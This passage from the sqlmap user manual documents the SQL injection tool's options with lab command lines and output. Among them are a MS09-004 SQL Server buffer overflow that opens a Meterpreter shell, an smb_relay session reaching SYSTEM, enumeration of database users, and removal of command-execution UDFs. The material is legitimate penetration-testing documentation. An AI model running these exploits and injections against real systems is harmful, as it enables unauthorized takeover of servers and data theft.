  Id  Description  Tunnel                                       
  --  -----------  ------                                       
  1   Meterpreter  192.168.1.161:51813 -> 192.168.1.131:4907  

msf exploit(smb_relay) > [*] Starting interaction with 1...

meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit

[*] Meterpreter session 1 closed.
msf exploit(smb_relay) > exit

[*] Server stopped.
</verb></tscreen>


<sect2>Stored procedure buffer overflow exploitation

<p>
Options: <tt>--os-bof</tt>, <tt>--priv-esc</tt> and <tt>--msf-path</tt>

<p>
If the back-end database management system is not patched against Microsoft
Security Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS09-004.mspx" name="MS09-004">,
sqlmap can exploit the heap-based buffer overflow affecting
<tt>sp_replwritetovarbin</tt> stored procedure in order to establish an
<bf>out-of-band TCP stateful channel</bf> between the attacker host and the
target database server.
sqlmap has its own exploit to trigger the vulnerability, but it relies on
<htmlurl url="http://metasploit.com/framework" name="Metasploit"> to
generate the shellcode used within the exploit, so you need to have it
already on your system: it's free and can be downloaded from the homepage.

<p>
Note that this feature is not supported by sqlmap running on Windows
because Metasploit's msfconsole and msfcli are not supported on the native
Windows Ruby interpreter.

<p>
This technique is detailed on the white paper
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">.

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> target:

<tscreen><verb>
$ sudo python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --os-bof -v 1 --msf-path /home/inquis/software/metasploit

[...]
[hh:mm:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:14] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:14] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin' 
stored procedure heap-based buffer overflow (MS09-004)
[hh:mm:14] [INFO] fingerprinting the back-end DBMS operating system version and service pack
[hh:mm:14] [INFO] retrieved: 1
[hh:mm:15] [INFO] retrieved: 1
[hh:mm:15] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
[hh:mm:15] [INFO] testing if current user is DBA
[hh:mm:15] [INFO] retrieved: 1
[hh:mm:15] [INFO] checking if xp_cmdshell extended procedure is available, wait..
[hh:mm:21] [INFO] xp_cmdshell extended procedure is available
[hh:mm:21] [INFO] creating Metasploit Framework 3 multi-stage shellcode for the exploit
which connection type do you want to use?
[1] Bind TCP (default)
[2] Bind TCP (No NX)
[3] Reverse TCP
[4] Reverse TCP (No NX)
> 
which is the back-end DBMS address? [192.168.1.131] 
which remote port numer do you want to use? [39391] 62719
which payload do you want to use?
[1] Reflective Meterpreter (default)
[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
[3] Shell
[4] Reflective VNC
[5] PatchUp VNC (only from Metasploit development revision 6742)
> 
which payload encoding do you want to use?
[1] No Encoder
[2] Alpha2 Alphanumeric Mixedcase Encoder
[3] Alpha2 Alphanumeric Uppercase Encoder
[4] Avoid UTF8/tolower
[5] Call+4 Dword XOR Encoder
[6] Single-byte XOR Countdown Encoder
[7] Variable-length Fnstenv/mov Dword XOR Encoder
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
[9] Non-Alpha Encoder
[10] Non-Upper Encoder
[11] Polymorphic XOR Additive Feedback Encoder (default)
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
> 
[hh:mm:50] [INFO] creation in progress .................. done
[hh:mm:08] [INFO] handling DEP
[hh:mm:08] [INFO] the back-end DBMS underlying operating system supports DEP: going to 
handle it
[hh:mm:08] [INFO] checking DEP system policy
[hh:mm:09] [INFO] retrieved: OPTIN
[hh:mm:12] [INFO] only Windows system binaries are covered by DEP by default
[hh:mm:12] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[hh:mm:12] [INFO] triggering the buffer overflow vulnerability, wait..
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.161:33765 -> 192.168.1.131:62719)

meterpreter > Loading extension priv...success.
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > exit
</verb></tscreen>


<sect1>Miscellaneous

<sect2>Estimated time of arrival

<p>
Option: <tt>--eta</tt>

<p>
It is possible to calculate and show the estimated time of arrival to
retrieve each query output in real time while performing the SQL injection
attack.

<p>
Example on an <bf>Oracle XE 10.2.0.1</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b \
  --eta -v 1

[...]
back-end DBMS:	Oracle

[hh:mm:24] [INFO] fetching banner
[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query 
output again
[hh:mm:24] [INFO] retrieved the length of query output: 64
[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version 
WHERE ROWNUM=1
77% [=======================================>            ] 49/64  ETA 00:00    
</verb></tscreen>

<p>
then:

<tscreen><verb>
100% [====================================================] 64/64              
[hh:mm:15] [INFO] performed 454 queries in 2 seconds
banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
</verb></tscreen>

<p>
Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" \
  --users --eta -v 1

[...]
back-end DBMS:	Microsoft SQL Server 2000

[hh:mm:57] [INFO] fetching database users
[hh:mm:57] [INFO] fetching number of database users
[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)), 
(CHAR(32))) FROM master..syslogins
[hh:mm:57] [INFO] retrieved: 3
[hh:mm:57] [INFO] performed 13 queries in 0 seconds
[hh:mm:57] [INFO] retrieved the length of query output: 22
[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name) 
ORDER BY name
100% [====================================================] 22/22              
[hh:mm:58] [INFO] performed 160 queries in 0 seconds
[hh:mm:58] [INFO] retrieved the length of query output: 2
[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name) 
ORDER BY name
100% [====================================================] 2/2                
[hh:mm:59] [INFO] performed 20 queries in 0 seconds
[hh:mm:59] [INFO] retrieved the length of query output: 25
[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM 
master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name) 
ORDER BY name
100% [====================================================] 25/25              
[hh:mm:00] [INFO] performed 181 queries in 1 seconds
database management system users [3]:
[*] BUILTIN\Administrators
[*] sa
[*] W2KITINQUIS\Administrator
</verb></tscreen>

<p>
As you can see, sqlmap first calculates the length of the query output,
then estimated the time of arrival, shows the progress in percentage and
counts the number of retrieved query output characters.


<sect2>Update sqlmap to the latest stable version

<p>
Option: <tt>--update</tt>

<p>

It is possible to update sqlmap to the latest stable version available on
its <htmlurl url="http://sourceforge.net/projects/sqlmap/files/"
name="SourceForge File List page"> by running it with the
<tt>--update</tt> option.

<tscreen><verb>
$ python sqlmap.py --update -v 4

[hh:mm:53] [DEBUG] initializing the configuration
[hh:mm:53] [DEBUG] initializing the knowledge base
[hh:mm:53] [DEBUG] cleaning up configuration parameters
[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:53] [DEBUG] creating HTTP requests opener object
[hh:mm:53] [INFO] updating sqlmap
[hh:mm:53] [DEBUG] checking if a new version is available
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1
Host: sqlmap.sourceforge.net
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 01 Aug 2008 14:50:55 GMT
Server: Apache/1.3.33 (Unix) PHP/4.3.10
Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
ETag: "9fcc53e-4-48919d9b"
Accept-Ranges: bytes
Content-Length: 4
Connection: close
Content-Type: text/plain
X-Pad: avoid browser bug

[hh:mm:55] [INFO] you are already running sqlmap latest stable version
[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
[hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
language=en-US
Connection: close

[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
Cache-Control: private
Connection: close
Date: Fri, 01 Aug 2008 14:50:50 GMT
Content-Length: 167918
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; 
expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
Set-Cookie: language=en-US; path=/; HttpOnly

[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
[hh:mm:02] [DEBUG] parsing XML queries file
</verb></tscreen>

<p>
As you can see, sqlmap first check if a new stable version is available,
then in case it is, download it, unzip it and update the Microsoft SQL
Server XML versions file from Chip Andrews'
<htmlurl url="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
name="SQLSecurity.com site">.

<p>
Note that the default configuration file <tt>sqlmap.conf</tt> is backupped
to <tt>sqlmap.conf.bak</tt> in case a new stable version is available and
your copy is updated.


<sect2>Save and resume all data retrieved on a session file

<p>
Option: <tt>-s</tt>

<p>
It is possible to log all queries and their output on a text file while
performing whatever request, both in blind SQL injection and in inband SQL
injection.
This is useful if you stop the injection and resume it after some time.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
  -v 1 -s "sqlmap.log"

[...]
back-end DBMS:	PostgreSQL
[hh:mm:02] [INFO] query: VERSION()
[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
[hh:mm:03] [ERROR] user aborted
</verb></tscreen>

<p>
As you can see, I stopped the injection with <tt>CTRL-C</tt> while
retrieving the PostgreSQL banner and logged the session to text file
<tt>sqlmap.log</tt>.

<tscreen><verb>
$ cat sqlmap.log

[hh:mm:00 MM/DD/YY]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 
on i486-pc-
</verb></tscreen>

<p>
As you can see, all queries performed and their output have been logged to
the session file in real time while performing the injection.

<p>
The session file has a structure as follows:

<tscreen><verb>
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
</verb></tscreen>

<p>
Performing the same request now, sqlmap resumes all information already
retrieved then calculates the query length, in the example
<tt>VERSION()</tt>, and resumes the injection from the last character
retrieved to the end of the query output.

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
  -v 1 -s "sqlmap.log"

[...]
[hh:mm:03] [INFO] resuming injection point 'GET' from session file
[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
[hh:mm:03] [INFO] testing connection to the target url
[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
[hh:mm:03] [INFO] retrieving the length of query output
[hh:mm:03] [INFO] query: LENGTH(VERSION())
[hh:mm:03] [INFO] retrieved: 98
[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
[hh:mm:03] [INFO] retrieving pending 70 query output characters
[hh:mm:03] [INFO] query: SUBSTR((VERSION())::text, 29, 98)
[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real 
(Ubuntu 4.3.2-1ubuntu11) 4.3.2
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
back-end DBMS: PostgreSQL

[hh:mm:07] [INFO] fetching banner
banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
</verb></tscreen>


<sect2>Save options on a configuration INI file

<p>
Option: <tt>--save</tt>

<p>
It is possible to save the command line options to a configuration INI
file.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
  -v 1 --save

[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-SAUbs.conf' 
configuration file
[hh:mm:33] [INFO] testing connection to the target url
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
[...]
</verb></tscreen>

<p>
As you can see, sqlmap saved the command line options to a configuration
INI file, <tt>sqlmap-SAUbs.conf</tt>.

<tscreen><verb>
$ cat sqlmap-SAUbs.conf
[Target]
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
googledork = 
list = 

[Request]
threads = 1
useragentsfile = 
atype = 
agent = 
delay = 0
headers = 
cookie = 
proxy = 
timeout = 30
acred = 
referer = 
data = 
method = GET

[Miscellaneous]
updateall = False
sessionfile = 
eta = False
batch = False
cleanup = False
verbose = 1

[Enumeration]
dumpall = False
limitstop = 0
getusers = False
isdba = False
getpasswordhashes = False
excludesysdbs = False
getcurrentdb = False
gettables = False
dumptable = False
db = 
limitstart = 0
getprivileges = False
sqlshell = False
tbl = 
getcolumns = False
query = 
getdbs = False
user = 
col = 
getcurrentuser = False
getbanner = True

[File system]
dfile = 
wfile = 
rfile = 

[Takeover]
msfpath = 
osshell = False
ossmb = False
privesc = False
ospwn = False
tmppath = 
oscmd = 
osbof = False

[Fingerprint]
extensivefp = False

[Injection]
dbms = 
string = 
postfix = 
regexp = 
prefix = 
testparameter = 
estring = 
eregexp = 
os = 

[Techniques]
stackedtest = False
utech = 
unionuse = False
timetest = False
uniontest = False
</verb></tscreen>

<p>
The file is a valid sqlmap configuration INI file.
You can edit the configuration options as you wish and pass it to sqlmap
with the <tt>-c</tt> option as explained above in section 5.2:

<tscreen><verb>
$ python sqlmap.py -c "sqlmap-SAUbs.conf"

[...]
[hh:mm:16] [INFO] performed 657 queries in 6 seconds

banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
</verb></tscreen>


<sect2>Act in non-interactive mode

<p>
Option: <tt>--batch</tt>

<p>
If you want sqlmap to run as a batch tool, without interacting with you in
case of a choice has to be done, you can force it by using <tt>--batch</tt>
option than letting sqlmap go for a default behaviour.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&amp;name=luther" \
  --batch -v 1

[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
ahead:
[0] place: GET, parameter: id, type: numeric (default)
[1] place: GET, parameter: name, type: stringsingle
[q] Quit
Choice: 0
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
[...]
back-end DBMS:	MySQL >= 5.0.0
</verb></tscreen>

<p>
As you can see, sqlmap choosed automatically to injection on the first
vulnerable parameter which is the default behaviour.


<sect2>Clean up the DBMS by sqlmap specific UDF and tables

<p>
Option: <tt>--cleanup</tt>

<p>
It is recommended to clean up the back-end database management system from
sqlmap temporary tables and created user-defined functions when you are
done with owning the underlying operating system or file system.

<p>
Example on a <bf>PostgreSQL 8.3.5</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/iis/get_int.aspx?id=1" \
  -v 2 --cleanup

[...]
[hh:mm:18] [INFO] cleaning up the database management system
[hh:mm:18] [DEBUG] removing support tables
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n] 
[hh:mm:20] [DEBUG] removing sys_exec UDF
[hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text)
do you want to remove sys_eval UDF? [Y/n] 
[hh:mm:21] [DEBUG] removing sys_eval UDF
[hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text)
[hh:mm:21] [INFO] database management system cleanup finished
[hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can 
only be deleted manually
</verb></tscreen>


<sect>Disclaimer

<p>
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

<p>
Whatever you do with this tool is uniquely your responsability. If you are
not authorized to punch holes in the network you are attacking be aware
that such action might get you in trouble with a lot of law enforcement
agencies.


<sect>Author

<p>
<htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> (inquis) - Lead developer.
PGP Key ID: <htmlurl url="http://pgp.mit.edu:11371/pks/lookup?op=get&amp;search=0x05F5A30F" name="0x05F5A30F">


</article>
